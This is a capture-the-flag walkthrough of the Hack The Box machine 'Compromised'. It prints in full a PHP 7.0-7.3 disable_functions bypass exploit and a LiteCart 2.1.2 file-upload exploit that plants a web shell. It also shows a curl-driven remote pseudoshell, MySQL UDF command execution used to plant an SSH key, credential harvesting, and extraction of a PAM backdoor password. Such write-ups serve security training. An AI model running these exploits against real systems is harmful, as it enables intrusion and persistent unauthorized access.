Hack-The-Box-walkthrough[compromised]

introduce

OS: Linux
Difficulty: Hard
Points: 40
Release: 12 Sep 2020
IP: 10.10.10.207

User Blood xct 00 days, 03 hours, 35 mins, 20 seconds.
Root Blood xct 00 days, 03 hours, 34 mins, 56 seconds.

  • my htb rank

information gathering

first use nmap as usaul

1
2
3
4
root@kali:~/hackthebox/machine/compromised# nmap -sV -v -p- --min-rate=10000 10.10.10.207
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

enumerate port 80 by looking at files/directories:

1
2
3
4
5
6
7
8
root@kali:~/ffuf# ./ffuf -c -u http://10.10.10.207/FUZZ -w /usr/share/wordlists/dirb/common.txt
.htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10]
.htaccess [Status: 403, Size: 277, Words: 20, Lines: 10]
.hta [Status: 403, Size: 277, Words: 20, Lines: 10]
backup [Status: 301, Size: 313, Words: 20, Lines: 10]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10]
shop [Status: 301, Size: 311, Words: 20, Lines: 10]

we find some interesting directories/files, but the important one is the backup directory,
so visit the URL http://10.10.10.207/backup/ and find out there is a file called a.tar.gz.

download and extract backup file:

1
2
wget http://10.10.10.207/backup/a.tar.gz
tar -xvf a.tar.gz

sort the contents by modification date:

1
find . -printf "%T@ %Tc %p\n" | sort -n

look at latest modified files.
look at ./admin/login.php and find this line:

1
//file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);

get shell

look whats in there:

1
2
root@kali:~/hackthebox/machine/compromised# curl http://10.10.10.207/shop/admin/.log2301c9430d8593ae.txt
User: admin Passwd: theNextGenSt0r3!~

got creds:

1
admin:theNextGenSt0r3!~

go to

1
http://10.10.10.207/shop/admin/

and login with the creds
see the version at the bottom left

1
LiteCart 2.1.2

look for exploit with searchsploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~/hackthebox/machine/compromised# searchsploit LiteCart
--------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------- ---------------------------------
LiteCart 2.1.2 - Arbitrary File Upload | php/webapps/45267.py
--------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
root@kali:~/hackthebox/machine/compromised# searchsploit -m php/webapps/45267.py
Exploit: LiteCart 2.1.2 - Arbitrary File Upload
URL: https://www.exploit-db.com/exploits/45267
Path: /usr/share/exploitdb/exploits/php/webapps/45267.py
File Type: ASCII text, with CRLF line terminators

Copied to: /root/hackthebox/machine/compromised/45267.py

run the exploit:

1
python 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin

something went wrong, lets look at phpinfo,
edit the exploit from this:

1
2
3
4
5
files = {
'vqmod': (rand + ".php", "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } ?>", "application/xml"),
'token':one,
'upload':(None,"Upload")
}

to this:

1
2
3
4
5
files = {
'vqmod': (rand + ".php", "<?php phpinfo(); ?>", "application/xml"),
'token':one,
'upload':(None,"Upload")
}

also, remove this at line 72, so we dont get the full html output of phpinfo in our terminal:

1
print r.content

run the exploit again, and we get an url to the phpinfo

1
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/4YQVJ.php?c=id

open the url in your browser and search for “disable_functions”.
in there we see the disabled functions “system” and “shell_exec” and more which are preventing us to run commands :(

disable_functions:

1
system,passthru,popen,shell_exec,proc_open,exec,fsockopen,socket_create,curl_exec,curl_multi_exec,mail,putenv,imap_open,parse_ini_file,show_source,file_put_contents,fwrite,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,

but there is a bypass:

  • PHP-7.3-disable_functions-Bypass

so lets use this to get RCE.
first create the bypass.php file: (notice the change of the pwn function call)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
# released as of 04/10/2019, specifically:
#
# PHP 7.0 - 7.0.33
# PHP 7.1 - 7.1.31
# PHP 7.2 - 7.2.23
# PHP 7.3 - 7.3.10
#
# Author: https://github.com/mm0r1

pwn($_REQUEST['c']);

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

edit the 45267.py to this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#Exploit Title: LiteCart 2.1.2 - Arbitrary File Upload
# Date: 2018-08-27
# Exploit Author: Haboob Team
# Software Link: https://www.litecart.net/downloading?version=2.1.2
# Version: 2.1.2
# CVE : CVE-2018-12256

# 1. Description
# admin/vqmods.app/vqmods.inc.php in LiteCart 2.1.2 allows remote authenticated attackers
# to upload a malicious file (resulting in remote code execution) by using the text/xml
# or application/xml Content-Type in a public_html/admin/?app=vqmods&doc=vqmods request.

# 2. Proof of Concept

#!/usr/bin/env python
import mechanize
import cookielib
import urllib2
import requests
import sys
import argparse
import random
import string
parser = argparse.ArgumentParser(description='LiteCart')
parser.add_argument('-t',
help='admin login page url - EX: https://IPADDRESS/admin/')
parser.add_argument('-p',
help='admin password')
parser.add_argument('-u',
help='admin username')
args = parser.parse_args()
if(not args.u or not args.t or not args.p):
sys.exit("-h for help")
url = args.t
user = args.u
password = args.p

br = mechanize.Browser()
cookiejar = cookielib.LWPCookieJar()
br.set_cookiejar( cookiejar )
br.set_handle_equiv( True )
br.set_handle_redirect( True )
br.set_handle_referer( True )
br.set_handle_robots( False )
br.addheaders = [ ( 'User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1' ) ]
response = br.open(url)
br.select_form(name="login_form")
br["username"] = user
br["password"] = password
res = br.submit()
response = br.open(url + "?app=vqmods&doc=vqmods")
one=""
for form in br.forms():
one= str(form).split("(")
one= one[1].split("=")
one= one[1].split(")")
one = one[0]
cookies = br._ua_handlers['_cookies'].cookiejar
cookie_dict = {}
for c in cookies:
cookie_dict[c.name] = c.value
bypass = open('bypass.php', 'r').read()

files = {
'vqmod': ("mybypass.php", bypass, "application/xml"),
'token':one,
'upload':(None,"Upload")
}
response = requests.post(url + "?app=vqmods&doc=vqmods", files=files, cookies=cookie_dict)
r = requests.get(url + "../vqmod/xml/mybypass.php?c=id")
if r.status_code == 200:
print "Shell => " + url + "../vqmod/xml/mybypass.php"
else:
print "Sorry something went wrong"

run the script again and we get the link to the code execution:

1
2
3
4
root@kali:~/hackthebox/machine/compromised# python exp.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin
/usr/local/lib/python2.7/dist-packages/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in a future release.
from cryptography import x509
Shell => http://10.10.10.207/shop/admin/../vqmod/xml/mybypass.php

success:

1
2
root@kali:~/hackthebox/machine/compromised# curl http://10.10.10.207/shop/vqmod/xml/mybypass.php?c=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

alright this works, lets create a pseudoshell quick called pshell.sh:

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

echo "x for exit"
input=""
while [ "$input" != "x" ]
do
echo -n "> "
read input
curl -XPOST http://10.10.10.207/shop/vqmod/xml/mybypass.php --data-urlencode "c=$input"
done

change permissions and run

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~/hackthebox/machine/compromised# chmod 777 pshell.sh
root@kali:~/hackthebox/machine/compromised# ./pshell.sh
x for exit
> ls
4YQVJ.php
KJUAJ.php
OQZNZ.php
index.html
mybypass.php
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
> whoami
www-data
> pwd
/var/www/html/shop/vqmod/xml

got a database credential

1
2
3
4
5
6
7
8
9
10
> cat /var/www/html/shop/includes/config.inc.php

define('DB_TYPE', 'mysql');
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'changethis');
define('DB_DATABASE', 'ecom');

// Password Encryption Salt
define('PASSWORD_SALT', 'kg1T5n2bOEgF8tXIdMnmkcDUgDqOLVvACBuYGGpaFkOeMrFkK0BorssylqdAP48Fzbe8ylLUx626IWBGJ00ZQfOTgPnoxue1vnCN1amGRZHATcRXjoc6HiXw0uXYD9mI');

what we can also find out, is that mysql has shell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
sysadmin:x:1000:1000:compromise:/home/sysadmin:/bin/bash
mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash
red:x:1001:1001::/home/red:/bin/false

hmm, boxname is “Compromised” and we get mysql creds and mysql has /bin/bash in /etc/passwd…
google “mysql backdoor”…
hmm we find out, that User Defined Functions (UDF) can be used,
so lets look at udf in our pseudoshell:

1
2
3
> mysql -u root -pchangethis -e "select * from mysql.func;"
name ret dl type
exec_cmd 0 libmysql.so function

alright we found the udf called “exec_cmd”
lets try executing a simple command:

1
2
3
> mysql -u root -pchangethis -e "select exec_cmd('id')"
exec_cmd('id')
uid=111(mysql) gid=113(mysql) groups=113(mysql)\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0

what we can do now: add our public key to authorized keys:
first create a public and private key on your kali machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@kali:~/hackthebox/machine/compromised# ssh-keygen -t ed25519 -f ./key
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./key
Your public key has been saved in ./key.pub
The key fingerprint is:
SHA256:HPqYLVvu3/R18DoJNMmkbT4wlENJ63Smbx3EkqNBu5g root@kali
The key's randomart image is:
+--[ED25519 256]--+
| o+o |
| .=o.o |
| ..=**.o |
| o *+BB+ |
| . E =* .o |
| = .+. + |
| + + +o..+|
| = + .oo.|
| ..o.. . o. |
+----[SHA256]-----+
root@kali:~/hackthebox/machine/compromised# cat key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACD9+JBVupuMTJ87k29H8HBXCEQC/zi59/mR8K+K+S527AAAAJAmEMXWJhDF
1gAAAAtzc2gtZWQyNTUxOQAAACD9+JBVupuMTJ87k29H8HBXCEQC/zi59/mR8K+K+S527A
AAAEC6pQZXCMMauEJqmB51/2UgSeuo1GzOnsO3S05SENXJa/34kFW6m4xMnzuTb0fwcFcI
RAL/OLn3+ZHwr4r5LnbsAAAACXJvb3RAa2FsaQECAwQ=
-----END OPENSSH PRIVATE KEY-----
root@kali:~/hackthebox/machine/compromised# ls
45267.py a.tar.gz bypass.php exp.py key key.pub pshell.sh shop
root@kali:~/hackthebox/machine/compromised# cat key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP34kFW6m4xMnzuTb0fwcFcIRAL/OLn3+ZHwr4r5Lnbs root@kali

now copy the contents of key.pub and put it in the authorized keys of mysql account with the pseudoshell you have:
of course replace it with your public key, that you copied…

1
2
mysql -u root -pchangethis -e "select exec_cmd('mkdir /var/lib/mysql/.ssh')"
mysql -u root -pchangethis -e "select exec_cmd('echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP34kFW6m4xMnzuTb0fwcFcIRAL/OLn3+ZHwr4r5Lnbs root@kali > /var/lib/mysql/.ssh/authorized_keys')"

ssh into the box:

1
2
3
4
5
6
root@kali:~/hackthebox/machine/compromised# ssh -i key mysql@10.10.10.207
Last login: Thu Sep 3 11:52:44 2020 from 10.10.14.2
mysql@compromised:~$ id
uid=111(mysql) gid=113(mysql) groups=113(mysql)
mysql@compromised:~$ whoami
mysql

enumerate the home folder:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql@compromised:~$ grep -nrli sysadmin
strace-log.dat
mysql@compromised:~$ cat strace-log.dat | grep password
22102 03:11:06 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22227 03:11:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0
22227 03:11:09 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:10 write(2, "mysql -u root --password='3*NLJE"..., 39) = 39
22228 03:11:15 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changeme"], 0x55bc62467900 /* 21 vars */) = 0
22228 03:11:15 write(2, "[Warning] Using a password on th"..., 73) = 73
22102 03:11:16 write(2, "mysql -u root --password='change"..., 35) = 35
22229 03:11:18 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=changethis"], 0x55bc62467900 /* 21 vars */) = 0
22229 03:11:18 write(2, "[Warning] Using a password on th"..., 73) = 73
22232 03:11:52 openat(AT_FDCWD, "/etc/pam.d/common-password", O_RDONLY) = 5
22232 03:11:52 read(5, "#\n# /etc/pam.d/common-password -"..., 4096) = 1440
22232 03:11:52 write(4, "[sudo] password for sysadmin: ", 30) = 30

we find the password

1
["mysql", "-u", "root", "--password=3*NLJE32I$Fe"]

now change to sysadmin user with the password = 3*NLJE32I$Fe
and also get the user.txt :) :) :)

1
2
3
4
5
6
7
mysql@compromised:~$ su sysadmin
Password:
sysadmin@compromised:/var/lib/mysql$ cd
sysadmin@compromised:~$ ls
user.txt
sysadmin@compromised:~$ cat user.txt
9b8e8c9f70062d3e9889e214fe7ccdb9

privilege esclation

now look at the modified files between 14.07 and today:

1
2
3
4
5
6
7
8
9
10
11
12
sysadmin@compromised:~$ find / -newermt "2020-07-14" ! -newermt "2020-09-16" -type f 2>/dev/null
/etc/ssh/sshd_config
/etc/ld.so.cache
/etc/fstab
/etc/ufw/ufw.conf
/etc/ufw/user.rules
/etc/ufw/user6.rules
/etc/apache2/apache2.conf
/etc/network/interfaces
/lib/x86_64-linux-gnu/security/.pam_unix.so
/lib/x86_64-linux-gnu/security/pam_unix.so
...

/lib/x86_64-linux-gnu/security/pam_unix.so is strange…
why is there a /lib/x86_64-linux-gnu/security/.pam_unix.so?
maybe another backdoor in pam and /lib/x86_64-linux-gnu/security/.pam_unix.so is a backup?
lets look at it in a reversing program (i will use ghidra).
first download the pam_unix.so to our kali machine with scp:

1
2
3
4
root@kali:~/hackthebox/machine/compromised# scp sysadmin@10.10.10.207:/lib/x86_64-linux-gnu/security/pam_unix.so ./pam_unix.so
sysadmin@10.10.10.207's password:
pam_unix.so
#password = 3*NLJE32I$Fe

looking at the functions, find the important authenticate function
and in there we find the string backdoor.

this means, if our password matches the backdoor string, we can get root.
now lets reverse the backdoor string.
On the Listing window we can just rightclick the value and click on convert -> Char Sequence

then we got two separated strings, combine them together

1
2
3
RAX,"zlke~U3E" + RAX,"nv82m2-\x00"

result: zlke~U3Env82m2-

this gives us the the password: zlke~U3Env82m2-
we can change to root with this, and get root flag:

1
2
3
4
5
6
7
8
9
10
sysadmin@compromised:~$ su root
Password:
root@compromised:/home/sysadmin# cd
root@compromised:~# id
uid=0(root) gid=0(root) groups=0(root)
root@compromised:~# ls
root.txt
root@compromised:~# cat root.txt
7017dc92e57aa31b32d755a062da5d8f
# password = zlke~U3Env82m2-

Summary of knowledge

  • Source code leaked admin password
  • LiteCart 2.1.2 - Arbitrary File Upload
  • change python exp script
  • php disable_functions bypass with PHP 7.0-7.3 disable_functions bypass PoC
  • bash shell script
  • ssh generate to get mysql shell
  • mysql User Defined Functions (UDF) commands excecution
  • home folder passwords leaked
  • use ghidra to reverse pam_unix.so file find backdoor string to get password

Contact me

  • QQ: 1185151867
  • twitter: https://twitter.com/fdlucifer11
  • github: https://github.com/FDlucifer

I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…